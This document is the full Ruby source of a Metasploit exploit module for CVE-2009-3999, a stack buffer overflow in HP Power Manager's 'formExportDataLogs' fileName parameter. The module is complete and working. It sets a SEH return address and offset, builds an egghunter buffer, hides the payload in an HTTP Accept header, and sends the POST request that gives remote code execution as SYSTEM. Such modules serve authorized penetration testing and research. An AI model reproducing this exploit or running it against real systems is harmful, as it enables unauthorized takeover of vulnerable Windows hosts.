HP Power Manager – ‘formExportDataLogs’ Remote Buffer Overflow (Metasploit)
## # $Id: hp_power_manager_filename.rb 14016 2011-10-20 17:40:21Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => "HP Power Manager 'formExportDataLogs' Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'. By creating a malformed request specifically for the fileName parameter, a stack-based buffer overflow occurs due to a long error message (which contains the fileName), which may result aribitrary remote code execution under the context of 'SYSTEM'. }, 'License' => MSF_LICENSE, 'Author' => [ # Original discovery (Secunia Research) 'Alin Rad Pop', # Metasploit module (thx DcLabs members, corelanc0d3r, humble-desser, pyoor) 'Rodrigo Escobar <ipax[at]dclabs.com.br>', # Metasploit fu 'sinn3r' ], 'Version' => '$Revision: 14016 $', 'References' => [ [ 'CVE', '2009-3999' ], [ 'BID', '37867' ] ], 'DefaultOptions' => { 'ExitFunction' => 'thread', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a", 'DisableNops' => true, 'EncoderOptions' => {'BufferRegister' => 'EDI' } # Egghunter jmp edi }, 'Targets' => [ [ # Tested on HP Power Manager 4.2 (Build 7 and 9) 'Windows XP SP3 / Win Server 2003 SP0', { 'Ret' => 0x004174d5, #pop esi # pop ebx # ret 10 (DevManBE.exe) 'Offset' => 721 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 19 2011', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)], self.class) end def exploit print_status("Generating payload...") # Randomize the tag by not specifying one eggoptions = { :checksum => true } hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) buffer = rand_text_alpha_upper(target['Offset'] - hunter.length) buffer << make_nops(30) + hunter buffer << "\xeb\xc2\x90\x90" #JMP SHORT 0xC2 buffer << [target.ret].pack('V*')[0,3] #SEH (strip the null byte, HP PM will pad it for us) # Let's make the request a little bit more realistic looking time = Time.new print_status("Trying target #{target.name}...") connect request = send_request_cgi({ 'method' => 'POST', 'uri' => '/goform/formExportDataLogs', 'vars_post' => { 'dataFormat' => 'comma', 'exportto' => 'file', 'fileName' => buffer, 'bMonth' => "%02d" %time.month, 'bDay' => "%02d" %time.day, 'bYear' => time.year.to_s, 'eMonth' => "%02d" %time.month, 'eDay' => "%02d" %time.day, 'eYear' => time.year.to_s, 'LogType' => 'Application', 'actionType' => '1%3B' }, 'headers' => { 'Accept' => egg, 'Referer' => "http://#{rhost}/Contents/exportLogs.asp?logType=Application" } }, 5) print_status("Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)") # Wait for a bit longer. For some reason it may take some time for the process to start # handling our request. select(nil, nil, nil, 7) handler disconnect end end |